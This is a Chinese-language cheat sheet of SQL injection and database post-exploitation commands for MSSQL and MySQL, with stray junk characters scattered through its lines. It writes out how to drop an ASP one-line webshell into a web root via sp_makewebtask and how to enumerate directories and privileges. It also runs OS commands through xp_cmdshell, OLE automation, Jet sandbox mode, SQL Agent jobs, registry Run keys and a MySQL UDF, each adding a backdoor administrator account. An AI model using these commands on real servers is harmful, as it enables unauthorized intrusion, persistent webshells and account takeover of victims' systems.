MSSQL语句导出一句话木马: T/ p& t* y u
首先确定网站的WEB路径
- c0 }. V# r3 G;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马& U( ~9 [$ }" t* c( ~
. b# n7 P7 D8 L! _7 D
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- - n' R4 M$ y3 {. } r& V
//将一句话木马插入表中
: [% z# r1 w3 `; j9 T
+ O4 }; z6 |* p( i;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
& E2 J0 B2 H: i8 S//导出一个ASP文件* P3 C( N" ^ {7 ~' s2 B
' T6 G$ j5 V7 v4 V3 c5 ]- g( G3 `" V. v2 @. L
关于MSSQL列目录2 _, }, W+ L( [% }- @
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表) q: j2 w! H6 C+ s
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表5 M# u* W( y5 ^8 V9 S1 ]3 f, O2 M
$ x8 ~1 |; i6 Z0 I4 m, T! O& d
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录0 X/ n0 w5 Z+ {
! a" x8 Z* |* \. Q% t% s$ X; T# u qAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
9 E4 q% D- i4 i% M0 x/ H r* ?4 j- h, c0 w2 f
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符8 z4 k& m4 }# y. X3 W# G
5 Z: r: l# q& X5 a. o; @5 S# r: V+ I5 `; |6 ?# j
数据库版本和权限查看
! V, d$ C3 z) b2 H: Land 1=(select @@VERSION) //查看详细的数据库信息.( N+ |! Q$ ~' N
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA' A. ?2 P3 b6 q7 \
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER- Z2 E% ^. t3 R; K: R
4 q6 R. S& I0 R, C4 X0 m; c
8 X, @8 a( a d: Y$ j8 v
1.利用xp_cmdshell执行命令4 s, _ m$ U) G# L- g" [
exec master..xp_cmdshell 'net user rfire 123456 /add'
. q: N6 d4 F4 M3 M/ y$ H! Gexec master..xp_cmdshell 'net localgroup administrators rfire /add'8 J7 T1 W. V9 p2 ?5 K" W
/ e+ D. u0 }; |3 h/ q" f+ \: _6 o
恢复xp_cmdshell存储过程
6 i& M* e. z9 U) m: XExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'* g: l8 o5 }! D, o4 }% i( U4 P8 s
0 X& K$ W, b/ m' _) Y) d! L8 b
0 @7 I; P# _- L! Q2.利用SP_OAcreate和SP_OAMETHOD执行命令2 ~2 \: ^' K8 t4 H, T6 S: b
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
5 Q5 Q! |1 W/ f1 I& K* C8 DDECLARE @shell INT //建立一个@shell实体+ S$ C! ^) v1 d- A
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
( j% m8 z: A9 h: H. ?) {EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
, q+ [7 U' h5 |& J& J: b5 H" R1 l) O7 [" c J( U
% l9 H7 p1 D$ P4 j* [
3.利用沙盒模式7 }4 `8 u- t& K
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。& R2 L: y7 e1 w5 V- }3 G
开启沙盒模式:; S$ L) w# ]' N) v4 Z
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
/ V8 Q+ ^- i2 E- a/ t3 b% S" e
' ^& g: a) l. w6 a执行命令:
( G" h1 k" K7 h9 U8 C$ q6 Q; \5 VSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');' L* B) u$ A7 Y# r
1 D: H4 C8 c' t! D# k* A% C4 t5 u J# ~4 N6 s, D* C
4.利用SQL代理执行命令0 G& C" [* S* G) o( k( @
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
; m# ~; v/ L" P( g! K6 L/ s( ?( N% U/ j* z5 X& L. s
执行命令:
2 h, h$ F% b6 R* G1 vuse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错( ]% A9 K1 O3 Q- |2 P4 X
exec sp_add_job 'x'
+ E, j2 H1 j3 R. @ [# O8 A/ T% bexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
7 x0 ~! y2 j) h$ O% pexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业8 l! D, h" j( A+ Z8 v# G( @' R
& }7 f% m- ]! k0 w
6 p, f" P, v7 o2 R1 D8 _5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
9 i2 `$ u: p& b$ r5 h9 c8 lEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add', [ h) X+ ?0 [% ^
0 K/ Y3 ~" J0 I* l# f/ b. {
' ~; d) l$ ^! ]6.MYSQL的命令执行
) }: z p$ h% O- eMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
! w4 l& q1 ^) D( A首先要在su.php下导出c:\windows\udf.dll
" W V* N3 c2 c2 Z/ ^4 Q& c, h导出后执行创建自定义函数命令:
% e6 u* l0 G3 w& N* W) n' DCreate Function cmdshell returns string soname 'udf.dll'
4 s. o$ f9 f! Q' f1 q3 m" O执行命令
6 ?2 X4 M$ x' [, Z" K+ wselect cmdshell('net user rfire 123456 /add')
# p- [( \, i* z' ]& J( ?执行后删除函数 drop function cmdshell
& H" B1 N9 ~& u1 k; g |